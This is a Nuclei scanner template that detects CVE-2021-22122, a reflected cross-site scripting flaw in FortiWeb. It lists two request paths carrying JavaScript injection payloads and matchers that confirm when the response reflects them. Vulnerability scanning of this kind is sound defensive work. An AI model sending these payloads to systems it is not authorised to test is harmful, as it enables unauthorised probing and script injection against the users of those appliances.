id: CVE-2021-22122

info:
  name: FortiWeb v6.3.x-6.2.x Unauthenticated XSS
  author: dwisiswant0
  severity: medium
  description: |
    An improper neutralization of input during web page generation in FortiWeb GUI interface 6.3.0 through 6.3.7 and version before 6.2.4 may allow an unauthenticated,
    remote attacker to perform a reflected cross site scripting attack (XSS) by injecting malicious payload in different vulnerable API end-points.
  reference:
    - https://www.fortiguard.com/psirt/FG-IR-20-122
    - https://twitter.com/ptswarm/status/1357316793753362433
    - https://fortiguard.com/advisory/FG-IR-20-122
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-22122
    cwe-id: CWE-79
  tags: cve,cve2021,fortiweb,xss

requests:
  - method: GET
    path:
      - "{{BaseURL}}/error3?msg=30&data=';alert('nuclei');//"
      - "{{BaseURL}}/omni_success?cmdb_edit_path=\");alert('nuclei');//"
    matchers-condition: and
    matchers:
      - type: word
        words:
          - "nuclei"
          - "No policy has been chosen."
        condition: and
        part: body